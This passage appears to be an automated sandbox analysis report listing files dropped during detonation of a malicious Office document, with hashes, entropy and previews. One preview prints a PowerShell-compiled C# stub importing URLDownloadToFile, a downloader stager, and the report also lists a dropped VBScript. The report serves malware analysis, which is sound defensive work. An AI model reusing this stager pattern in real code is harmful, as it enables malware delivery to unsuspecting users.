                                                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:1

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\bqyua5gi.fkt.psm1

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1
                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:1

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\htcuymda\CSCED218374D5764718ADCDD459E0E116EB.TMP

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                                                File Type:MSVC .res
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):652
                                                                                                                                                                                                Entropy (8bit):3.094699200939809
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryNxak7Ynqq22PN5Dlq5J:+RI+ycuZhNXxakS22PNnqX
                                                                                                                                                                                                MD5:82878AD612DABD98A3D5A1290A7A0444
                                                                                                                                                                                                SHA1:CA7275B3A7CCD8E64A6BF3878FC40119F4C51EA9
                                                                                                                                                                                                SHA-256:7D15FAC6A4374066DF132EA5B320C144F0A72D2ACE16934CB98D3BE6DD45FA06
                                                                                                                                                                                                SHA-512:815BB8C08B098099C1147C4395AEAFFCC4A8AB0C296F75E10AE63891958C19C4F53EA02968D3671445489C1AAB0CC2FA7AC4BCC4C7CED513D491D76987D5C7F6
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...h.t.c.u.y.m.d.a...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...h.t.c.u.y.m.d.a...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.0.cs

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (351)
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):474
                                                                                                                                                                                                Entropy (8bit):3.984648033657323
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:6:V/DsYLDS81zu08BMmfZQXReKJ8SRHy4HBZmavmjh/cv8dQy:V/DTLDfu2XfH9opQy
                                                                                                                                                                                                MD5:5CB8EE8CEB5D933395268BBC87232D70
                                                                                                                                                                                                SHA1:32B432C7FBD48854320FF5A049AC16F5BCE1DD34
                                                                                                                                                                                                SHA-256:D0B54B8ED299319FCC1A25EB38CBBEEC96C9CC7232D8D8ACE1EB34B0EE73C5A2
                                                                                                                                                                                                SHA-512:FDCDC9784F4CB577853FBB338C8D2ACF4E489AB0E27C0A2E10F9D969F20A57EF385A947AA4B93BDF2785212F0E8263CDEAE153D7440DBE26841E1DA94BE713F4
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:.using System;.using System.Runtime.InteropServices;..namespace KsICyifXsxI.{. public class auGmnzdZ. {. [DllImport("UrLmoN", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr hMtwSAL,string iWFQXX,string lWNnWPmSuZs,uint IDMzD,IntPtr GCDDZrNBMyu);.. }..}.

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.cmdline

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):369
                                                                                                                                                                                                Entropy (8bit):5.201802611275963
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fAgx0zxs7+AEszIP23fAgQWH:p37Lvkmb6KzogGWZEoogDH
                                                                                                                                                                                                MD5:4573995C31B320438AEDCB0C7361F6BD
                                                                                                                                                                                                SHA1:3D63D1261D58A7DF7079B97E174DA59352847D63
                                                                                                                                                                                                SHA-256:B156FE258C58EC4B003A30C529A9B1B2A9DF76E8E60871FBDFE84DCE9EF76C04
                                                                                                                                                                                                SHA-512:E65FDF62BB5A0A9950D64F2556209A6C52D6275ADB9733B152774408EE0944DA3D0C2B99F103085998E7B91CDC6ABA4D6AEC9D94FDD7B1873AB38180F02B7610
                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.0.cs"

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.dll

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):3072
                                                                                                                                                                                                Entropy (8bit):2.8597900186748086
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:24:etGShp2YYnl8cPkSy1HJ3VFtkZfHpq4lWI+ycuZhNXxakS22PNnq:6qY8+gy1plwJHpqF1ulXxa32Kq
                                                                                                                                                                                                MD5:756B7440F8EF59D400BEEF5CC23E54F6
                                                                                                                                                                                                SHA1:7F8B3D40E36D98CA9105ABBA53AE7ED65E46D683
                                                                                                                                                                                                SHA-256:7A9BF50497059FE99089EF2E6919786C980C684E1D376E8C407AA2C84FA49876
                                                                                                                                                                                                SHA-512:8745E87219E82558EAFF971EA27E52417CB71B8AC95F150C8130FD242F112A8B8D2A1D33A31FB97884E845A6D47A31DFEE3AB95A8A08EE1DC77BE46269CAC833
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..... g...........!.................#... ...@....... ....................................@.................................h#..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~......(...#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................<.5....................................... .............. C.....P ......U.........[.....c.....j.....v.....|...U.....U...!.U.....U.......!.....*.!.....C.......................................,..........<Module>.ht

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.out

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
                                                                                                                                                                                                Category:modified
                                                                                                                                                                                                Size (bytes):866
                                                                                                                                                                                                Entropy (8bit):5.319049091437392
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:24:AId3ka6KzogXEoogDOKaMD5DqBVKVrdFAMBJTH:Akka60ocEooTKdDcVKdBJj
                                                                                                                                                                                                MD5:9434A39787F6AB58A03068EDC2B8BF0C
                                                                                                                                                                                                SHA1:9C47BB796B889140C88546F4F8C41585B9AC62F9
                                                                                                                                                                                                SHA-256:9E474096F1081C7BAD260B42766114BC3B27FB532F6E6C648289368E01D1ABC4
                                                                                                                                                                                                SHA-512:AC8E05BE7CD0B6A4FD7B57D499EBF10B60EE0CF209E788EB3727C631FCF06E1D36AAD5217A1BF71745755CA62B3F82798CF8242C19DC3E4699F67F5DAD55C712
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\mpqqyenbumlfhmiakqc

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                                                File Type:Unicode text, UTF-16, little-endian text, with no line terminators
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):2
                                                                                                                                                                                                Entropy (8bit):1.0
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3:Qn:Qn
                                                                                                                                                                                                MD5:F3B25701FE362EC84616A93A45CE9998
                                                                                                                                                                                                SHA1:D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
                                                                                                                                                                                                SHA-256:B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
                                                                                                                                                                                                SHA-512:98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:..

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\napkge3j.t1g.psm1

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1
                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:1

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\psnzhgxs.kpi.ps1

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1
                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:1

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\s4f30m42.ypx.psm1

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1
                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:1

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\te0ecy2q.1pg.ps1

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1
                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:1

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\x1btpeuk.ydy.psm1

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1
                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:1

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\xkqeedhe.m5j.psm1

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1
                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:1

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\zqn4udhs.4ts.ps1

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1
                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:1

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\~DF3AE4293CD94DBA64.TMP

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                                                File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):866304
                                                                                                                                                                                                Entropy (8bit):7.981055168175733
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:12288:hkBPAdpgF4721EYKaV8sCKxPBvEHXsc6LZ+3SlhyF+xxKr1850d1PH5l2W:e7197zCaZ8H9UeSlhSSUr1852p5l2
                                                                                                                                                                                                MD5:C5030B5992252FA9E977FCEDFC64AF7A
                                                                                                                                                                                                SHA1:08F09EF481ABBD045CA6C3E1265AD58062914D7E
                                                                                                                                                                                                SHA-256:E26E0E846FF870132F4345A2D48EF3016D486F75695E1B7C2CD54F8DA932C588
                                                                                                                                                                                                SHA-512:20FDB0CE64E4A9BE66AE309B85201385653789B6E699029E3899C6F1FC5E10C1167C0ED7CEB13D38BD8BFAAF95E69E52193A58BDD7A4248A1BF4E62633473D06
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\~DF6A50370529641E4C.TMP

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):512
                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3::
                                                                                                                                                                                                MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                                                                                                                SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                                                                                                                SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                                                                                                                SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\~DF9A87B275199D53BC.TMP

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):512
                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3::
                                                                                                                                                                                                MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                                                                                                                SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                                                                                                                SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                                                                                                                SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\~DFA0B88F6D6B62A199.TMP

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):872448
                                                                                                                                                                                                Entropy (8bit):7.944154751540038
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:12288:UkBPAdpgF4721EYKaV8sCKxPBvEHXsc6LZ+3SlhyF+xxKr1850d1PH5l2W:97197zCaZ8H9UeSlhSSUr1852p5l2
                                                                                                                                                                                                MD5:B23366B48BE0F66C6E08494D594DB058
                                                                                                                                                                                                SHA1:4D5A4AF7A630A1C0861100768939775062C91033
                                                                                                                                                                                                SHA-256:9C875DE045D71ADA6A90A5A378759641FD617289A438B6313C45EED93DA5EB83
                                                                                                                                                                                                SHA-512:9E999012FC2BA8F0E8675C1D88E4E5F25A5BE86DA611D150519654D187DBEA3A3CDED12F46EDEBE798589D5DC6D401FA13EAD506FD5304A5466A5E1090862DE3
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):10240
                                                                                                                                                                                                Entropy (8bit):0.6739662216458647
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:12:Ppb0slZp69PO9tauZ7nH2AaYSQ81v0t4TreIBUxFj87+k/R:RbG4WuZfKZ1c+reIAon/R
                                                                                                                                                                                                MD5:C61F99FE7BEE945FC31B62121BE075CD
                                                                                                                                                                                                SHA1:083BBD0568633FECB8984002EB4FE8FA08E17DD9
                                                                                                                                                                                                SHA-256:1E0973F4EDEF345D1EA8E90E447B9801FABDE63A2A1751E63B91A8467E130732
                                                                                                                                                                                                SHA-512:46D743C564A290EDFF307F8D0EF012BB01ED4AA6D9667E87A53976B8F3E87D78BEBE763121A91BA8FB5B0CF5A8C9FDE313D7FBD144FB929D98D7D39F4C9602C9
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview: ....+..F..N..F).~]............\.">.. .......p.J..} /o...rLj-...FS..'x.o..%^ .....zr/..3.y.e4...MM.4..x9.f.D..{..(....'p......9...Qn..d..+.....H..M.)..........].....n-.]........n&.*.H`.sz...r.....1B.....e.."...A.....,-....n..$.<....CO..VO..P..'.......<......n....&5s....z..$.{'IM-.o..(#N.-..(H...a&...y.S..`8.(./...1.P.. .....K.3.......I!]G....@N........F.l.T=.0...`"..L....B...B`nI.<.....&F..2J2....1..Rs....h.Zq.`...t..CJ....@.....I.G.e..k..H.....F..G:..6.G.l=.Y......:...C.........?[.ts...=....;.|...q...@....s................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):24152
                                                                                                                                                                                                Entropy (8bit):0.7513521539333206
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:24:CMLhbFnirW0rAHV4Ji9Tp5fGtFTIvs5/KUC6m6C9xRjNi1uiHIzVp9:CMBFF0kKJoTetFTFZKR6axR6uiozVb
                                                                                                                                                                                                MD5:8A8D71BED4B5760F2F82C680C2C8CACC
                                                                                                                                                                                                SHA1:FA589EA7BA858C514079289BCEA3625432110427
                                                                                                                                                                                                SHA-256:78CF9C5CCAC6BEF4326F7514D4083BBC223347412A3D2975EDA8AD679D4EEB2B
                                                                                                                                                                                                SHA-512:8D06BAC9D7433AAAD1126CF922F133FF2946A830507BFA0308677D3D81E5559A708D7733BB87C9CA70A8146DD6C2DB5B50A4D97F9442FE615483711B12445BC9
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview: ...W....K.h.E..g..0...!1sm.[t\......A......Ov..M..E........b...|,.g..t..;x..l..w......:......:..._.u.X....K../...eg..d......di...#....Y....3..m...M..S..U...-.`..2Z..............?.......o P.=...@p...H..J....-..*:..0.z\.i.U..(.3...Z7..8k.......x.Ja&%.t.,..%\...HALm[."..H.....`..kO'..>.6....C.X...Hv..p.~B..-i....C..J>t<...g.n7'....$.........1..1S..4.r.).m...pO........-..9..Y....H.o_u...j....D.+&.9wu5H..r.z...A...%........3.... ......E-....a.p.-!...z...j..J....tSE.B........b..o;.nG.2^...Y,.....5...;......?.K9.{..z\D.G..%..0.,..(..oS...5.......gem...|a...p.uE.G8+....[q......G.;K....,..1&.....b...../%'.Q.;Kl...._"...:]Q.L...Q1?....5..@t .E%......w}..(...J.]..........................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):141632
                                                                                                                                                                                                Entropy (8bit):3.691282707292598
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3072:9S7Agt5pVGw0eFjXF56h9fK1rBnk4jyxQeTPFRH7:o56bS1rBnjjoFRb
                                                                                                                                                                                                MD5:87F50D339477DD3708F80A5E286FEA7E
                                                                                                                                                                                                SHA1:F35D36F7B3B9ED4552509F7EF915BC22BB43C310
                                                                                                                                                                                                SHA-256:DD648D14E67DBF28A2BDD7ED56288147B7A2F5B5D1DFBA56ECB9975FC745C527
